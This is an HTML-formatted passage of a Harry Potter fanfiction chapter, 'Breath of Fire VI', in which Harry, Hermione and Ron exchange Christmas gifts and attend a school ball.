class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry sat up straight in his\nchair, book falling down onto the table. &#8220;Did you feel that?&#8221; He asked Ron, who\nsat in front of him, doing his homework as well.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What, the chilling feeling\nof certain death and dismemberment?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just checking.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And they smiled at each other.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><b style="mso-bidi-font-weight:\nnormal">Breath of Fire VI</b></p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><b style="mso-bidi-font-weight:\nnormal">By:</b></p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><b style="mso-bidi-font-weight:\nnormal">Satashi</b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">&nbsp;</b></p>\n\n<p class="MsoNormal">Harry jerked up in bed when\nhe heard the insistent pounding on his door. Reaching to pull the curtains\nback, he peeked out just in time to see Ron burst into the room. &#8220;Happy\nChristmas Harry! Now, Presents!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smirked and shook his\nhead lightly. &#8220;Sure thing, Ron. Just let me get dressed and I&#8217;ll be right\ndown.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right.&#8221; Ron nodded and\nretreated, closing the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry got out of his bed and\nslid his feet into the house slippers next to it. Grinning, he opened the dresser\nnext to his bed and reached into it, pulling out a small box. He gave it a\nsmall toss into the air and caught it while making his way over to Hermione&#8217;s\nbed. &#8220;Herms?&#8221; He asked, pulling back the curtains a little to see her still\nasleep. She was sprawled on her back with her hair all over the place. Her\nnight shirt was raised up, revealing her stomach and pink lacy panties. Seeing\nthis seductive, enticing sight, Harry did the first thing that came to his\nmind: He bent over and pressed his face against her stomach and blew, making a\nweird sound and causing the sleeping girl to sit straight up and scream bloody\nmurder. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">When she finally calmed down\nenough to start breathing again, Harry bid her a &#8220;Good morning.&#8221; And held out\nthe box while hopping to sit on her bed as well. &#8220;Happy Christmas!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione gave him a look, but\nsoon turned her eyes to the small velvet box. Taking it from him, she grinned.\n&#8220;I wonder what it is?&#8221; She asked nobody in particular. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Usually, one opens the\npresent to find out.&#8221; Harry joked, with his lopsided smile. &#8220;Go on. I wanted to\ngive it to you now instead of down stairs&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione ignored his remark\nand opened the box slowly, as if to savor the moment. When the box was\ncompletely open, she allowed herself to look into it and gasp. It was the\nprettiest ring she had ever seen before. It was a small golden band and in a\ndesign of two intertwining hearts. In one of the hearts it had her birthstone,\nwhile the other held Harry&#8217;s. &#8220;It&#8217;s beautiful.&#8221; She approved with a smile.\n&#8220;I&#8217;ll wear it always.&#8221; To prove her point, she took it out of the box to put it\non. Harry, having his own plans, took it first and slid it onto her finger for\nher and making Hermione blush. After a moment, she reached under her pillow. &#8220;I\nhave something for you as well.&#8221; She informed, holding out a box.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smiled brightly.\n&#8220;Thanks.&#8221; He took it and ripped open the wrapping. Hermione laughed at him, but\nthen held her breath while he opened it. &#8220;Wow&#8230;&#8221; He took out a silver bracelet\nin shock. Its design was that of a dragon and it looped three times before the\ndragon&#8217;s mouth bit its own tail.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It goes on your arm.&#8221; She\nexplained, taking it from him and sliding his hand through it. The bracelet\nwent past his elbow and came to rest on his bicep. &#8220;There, Perfect fit.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I like it.&#8221; Harry grinned,\nleaning forward and kissing her nose. &#8220;I&#8217;ll wear it always.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You better,&#8221; She joked. &#8220;It\ncost enough.&#8221; Hermione stuck out her tongue. &#8220;Besides, it supposed to have a\nmagical power to it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh? What is it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s a type of dragon\nmagic.&#8221; She told him with a grin. &#8220;I&#8217;m sure you can figure it out later.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry&#8217;s mouth took to that of\nhis famous lopsided grin. &#8220;I&#8217;ll try.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione hopped off of her\nbed and pulled on her pajama pants. &#8220;Come on, let&#8217;s go down stairs and see everyone\nelse!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;About time, Harry!&#8221; Ron\ngreeted when he opened the door. &#8220;We didn&#8217;t wait for you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Didn&#8217;t think you would.&#8221;\nHarry laughed, sliding down the rail of the stair way and running over to join\nhis friend. The entire Gryffindor house was in their common room this Christmas\nmorning. There was wrapping paper everywhere and people were all shouting and\ngrinning at each other, thanking each person for their gifts. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry sat down in front of\nhis pile and picked up the first present. It was Ron&#8217;s of course. If he opened\nanother present first, Ron would never let him live it down. &#8216;Choosing another\nfriend over me!&#8217; he would say with a smirk. Harry shook his head and grinned,\nripping open the paper. When it was off, he looked at his gift with a puzzled\nface.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It goes on your shoe.&#8221; Ron\nexplained, looking over at him. &#8220;Check it out.&#8221; Ron took the gift and held it.\nIt looked like it would attach to the underside of his shoe after all. &#8220;You put\nit on the bottom of your shoe, and when you need it, stomp your foot,&#8221; Here Ron\nslammed it onto the ground and a small dagger formed at the tip of the shoe. &#8220;&#8211;\nand a dagger comes out the end. I know it&#8217;s a weird thing for a present, but,&#8221;\nRon lowered his voice and whispered in Harry&#8217;s ear. &#8220;If You-Know-Who decides to\nattack you again this year, I&#8217;d rather have you some protection.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks.&#8221; Harry whispered\nback before talking aloud again. &#8220;It&#8217;s sweet Ron! I love it, mate.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Knew you would.&#8221; Ron joked,\nslapping him on the back. &#8220;Thanks for the quidditch books too. The whole quidditch\nencyclopedia, how did you know!?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It was on sale.&#8221; Harry\ngrinned, getting a laugh. Harry then turned to another gift, with no name tag.\nKnowing who it was from, he opened it up and took out two pair of nice looking sunglasses\nthat were connected all the way across the front instead of having two\ndifferent viewing lenses. Also the sides of the glasses curved and looked like\nthey would be inserted into the ear. Blinking, he took out the letter attached.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Happy Christmas Harry,</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; You\nare now the proud owner of the Marauder Sun Shades. Put on one pair and give\nthe other to your friend. On the right side of the glasses, you will see what\nyour friend is seeing, and he what you are seeing. You can set the transparency\nof the view by turning a dial on the side of the glasses. This restricts the\nmagical flow and will make it easier to see what you are really seeing. Also,\nyou can hear what is going on with your friend via the ear piece. The middle\npart of the glasses will show you a compass that will guide you to your set\ndestination. All you need to say is &#8220;Point Me,&#8221; and add whatever it is you want\nto find. The left side of the lens will show you what you would normally see,\nbut has a tweak of the Marauder&#8217;s map. All you need to say is &#8220;Display status,&#8221;\nand it will show you the map. If you want to narrow it down, say &#8220;Simplify status.&#8221;\nAnd it will show you only your immediate area, as well as paths not normally\nseen. Seeing through walls and ect.</i> <i style="mso-bidi-font-style:normal">will be at your\ndisposal only if there is a path behind that wall. Sorry, Harry, You can&#8217;t spy\non the girl&#8217;s changing room. Moony has those glasses, ask him if you want them!</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~S.B.\n</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sweetness,&#8221; Was the only\nword that Harry could think of at the moment. Putting them aside in a safe\nplace, he turned to view his other presents. He received a new watch from\nGinny, and a katana from Seamus (&#8220;Because they are <i style="mso-bidi-font-style:\nnormal">cool</i>!&#8221;). Neville and Dean had teamed up and got Harry a\nsubscription to both Quidditch weekly <i style="mso-bidi-font-style:normal">and\n</i>the Daily prophet. (&#8220;Hey now you won&#8217;t have to Steal Hermione&#8217;s!&#8221;)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grinned at his friends\nand then picked up his last package, this one from &#8220;Moony&#8221;. Opening the\npackage, Harry took a look at the cloths inside it. Picking up the note, he\nread the simple message.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Harry,</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; These\nwere your Father&#8217;s.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~Moony.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal">Harry picked up an ash\ngrey/black shirt and held it up. It was a short sleeve shirt that looked like\nit would be a nice fit on him. He then took out a jacket with sleeves rolled up\nall the way to the top and were frayed for looks. Also there was a pair of\nfingerless gloves with a stainless steel plate on them. Finally there was a\npair of black jeans and a long red head band. Harry, wasting no time, put on\nthe bandana and tied it to the back of his head. The two strands went well to\nthe middle of his back, but he grinned anyway and put on the jacket and sun\nglasses.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Looking sharp Harry.&#8221; Ron\ncommented to him, giving the thumbs up sign.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If you ditch your blue\npajama pants.&#8221; Hermione laughed out at the poorly mismatched boy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked over himself in\nthe mirror and ran his hand threw his hair. &#8220;Think I should do something with\nmy hair?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:\nnormal">It looks fine, sweetie.</i>&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, really, maybe I should.&#8221;\nHarry made it flat. &#8220;I could pull it back. It&#8217;s the dance, I should do <i style="mso-bidi-font-style:normal">something</i>.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:\nnormal">My, my, it has gotten quite long. How would you like it?</i>&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just pull it back, let me\nsee if I can put it in a pony tail or something.&#8221; Harry&#8217;s hair instantly fell\nlimp and went to its former messy stage. Slowly it started to pull back and\nhang loose. &#8220;Cecilia, dear, I don&#8217;t know what I would do without you.&#8221; Harry\ntied his hair back with a black band he stole from Hermione&#8217;s dresser. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:\nnormal">I&#8217;ll never understand you humans, no matter how much I try.</i>&#8221; She\ntold him with a mental laugh. &#8220;<i style="mso-bidi-font-style:normal">Harry, you\nlook like a girl.</i>&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I look snazzy.&#8221; He\ncountered, pulling on his dark green robes. &#8220;Bond, eat your heart out.&#8221; Picking\nup his shoes, he walked to the door and opened it. Ron stood there, hand rose\nto knock with a weird look on his face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, nice timing.&#8221; He said\nwith a smirk. &#8220;You ready?&#8221; He looked over his friend. &#8220;Mate, you look like a\ngirl.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I look <i style="mso-bidi-font-style:\nnormal">snazzy</i>.&#8221; Harry remarked, with a scoff. &#8220;And yeah, I&#8217;m ready.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The pair went to the common\nroom together and sat on the couch. Ginny sat between the two a few moments\nlater and gave each a look. &#8220;Hey guys.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey, Ginny.&#8221; Ron muttered,\nlooking across the room while waiting for his date.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You look nice.&#8221; Harry\ngreeted, looking over her dress. &#8220;Gin is actually in a dress, what do we owe\nthe honours?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s a <i style="mso-bidi-font-style:\nnormal">ball</i>, you idiot.&#8221; She laughed at him. &#8220;Of course I&#8217;ll wear one.&#8221;\nGinny looked over Harry. &#8220;Harry, you look like a girl with your hair like\nthat.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron snorted and Harry just\nshook his head. &#8220;You still haven&#8217;t told us who your date is yet.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;ll see him when we get\nthere.&#8221; She told him. &#8220;I&#8217;m meeting him at the dance.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Which starts in ten\nminutes.&#8221; Ron added in, looking at his watch. &#8220;Where <i style="mso-bidi-font-style:\nnormal">are</i> they?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t have any patience?&#8221; A\nvoice sprang up, getting their attention. The guys instantly stood and turned\naround to meet their dates. It was Hermione who had spoken, walking down the\nstairs slowly (as if not to loose her balance in her heels). &#8220;Lavender will be\ndown in a tic.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was in awe. His date\nhad her hair perfectly straight and flowing down past her shoulders. She wore a\nsmall silver necklace with a little heart on the end of it. Matching earrings\nwere clad on her ears and she had the most elegant white dress on he had ever\nseen. It was form fitting and hugged her body down to her waist, where it\nloosened and flowed the rest of the way to her ankles. The girl tilted her head\nto the side, grabbing Harry&#8217;s attention and making him realize that he had his\nmouth open and still didn&#8217;t comment just yet. &#8220;You,&#8221; He began, frantically\nsearching for words. &#8220;Look&#8230;.great&#8230;..&#8221; He let out his lopsided smile that made\ngirls swoon.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione grinned. &#8220;Great huh?\nJust great?&#8221; She added with a cute tone to her voice. &#8220;Or gorgeous?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Gorgeous!&#8221; Harry quickly\nagreed, nodding like an idiot. &#8220;Very gorgeous.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione laughed at him and\ntook his hand. &#8220;You look very nice yourself, although a little girly with your\nhair like that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay, <i style="mso-bidi-font-style:\nnormal">okay</i>! I&#8217;ll take it out of the ponytail!&#8221;&nbsp; Harry groaned and ripped the band from his\nhair, making the spikes stick up instantly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Much better.&#8221; She cooed at\nhim, ruffling his hair and making it its usual style. &#8220;You&#8217;re just not Harry\nwithout the messy spikes.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, yeah.&#8221; He muttered\nbefore looking at Ron. &#8220;We&#8217;re gonna go ahead and go. Cool?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Cool.&#8221; Ron nodded and\nwatched the pair walk out of the room laughing a little. He shook his head\nlightly at the pair and then watched his sister leave as well; off to meet her\nmystery date. A few minutes later a noise called his attention to the upstairs.\nLooking up, he saw his date starting to walk nervously down the stairs. &#8220;Oh <i style="mso-bidi-font-style:normal">wow</i>.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey, look, there they are!&#8221;\nHarry pointed at the pair walking to their table. Ron was wearing maroon dress\nrobes and black slacks with a matching shirt. His date, Lavender, was wearing a\nmatching dress that showed modest cleavage and fitted her form perfectly. The\ntwo met up with Harry and Hermione at their table and all smiled at each\nother.&nbsp; Ginny greeted her brother with a\nsmile. He was about to ask about her date, but Dumbledore stood up to give his\nspeech.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ladies and Gentlemen,&#8221; He\nstarted, getting everyone&#8217;s attention. &#8220;Welcome to the Sorcerer&#8217;s Ball. We are\nhere to wish the contesters the best of luck and all relax before the big show.\nI ask that all of you are backing your dormitories by midnight, and all seventh years by one. Now, please everyone\nraise your goblets and let us have a toast to the Sorcerers.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The students raised their\ngoblets in the air and nodded at the few people around them that were going to\nparticipate in the tournament. When the toast was done, a person stepped up on\nthe band stand and picked up the mike. &#8220;Welcome,&#8221; He said, getting attention.\n&#8220;My name is Lars and I&#8217;m the lead singer of the band. I want to see some\ndancing out there, you hear me?&#8221; A few students whooped at him, making him\nsmile. &#8220;Good, good, but first we&#8217;re going to play a slow number to get into the\nswing of things. Will the leaders of the teams come up at this time now?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled at Harry and\npatted his hand before he stood. On the way to the stage, he started walking\nnext to Dean and then Cho. The three gave each other nervous smiles and soon\njoined Vincent, Ashley, and Recca at the front of the Great Hall. Of course the\nhouse tables were moved out of the room completely and several small circular\ntables were scattered around the room, leaving the middle and front open for\ndancing. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey guys.&#8221; Lars greeted,\nkneeling down and looking at them. &#8220;Don&#8217;t be nervous now, the limelight feels\ngood once you&#8217;re used to it.&#8221; He winked at them, making all six visibly lighten\nup. &#8220;Now!&#8221; He stood. &#8220;When we start playing, I want each of you to walk over\nthere and take your date&#8217;s hand.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry turned to look over his\nshoulder and grinned when he saw Hermione waving discreetly at him. A Ravenclaw\nby the name of Fuuko was next to her as well as a few other people he couldn&#8217;t\nquite make out. The music started to play and Harry shook his head lightly to\nbring himself out of his little trance. He had completely missed the rest of\nthe band coming up onto the stage.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Taking Dean&#8217;s lead, Harry\nstarted walking over to the line of people and took his respective date&#8217;s hand.\nHermione smiled at him and gave him a reassuring look when he brought her\nclose. &#8220;Relax.&#8221; She whispered to him. &#8220;We&#8217;ve danced a few times before,\nremember?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not with the entire school\nwatching.&#8221; Harry whispered back. &#8220;It was bad enough last time.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shush.&#8221; She scolded him.\n&#8220;And don&#8217;t step on my toes either.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry actually found himself\nsmirking. &#8220;When have I ever?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione grinned and laid her\nhead on his shoulder and letting him embrace her fully. The pair moved slowly\nto the music and was completely unaware of other people starting to dance as\nwell.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron smiled at his date and\nheld out his hand. &#8220;May I have this dance?&#8221; He asked in a smooth voice, making\nher laugh.</p>\n\n<p 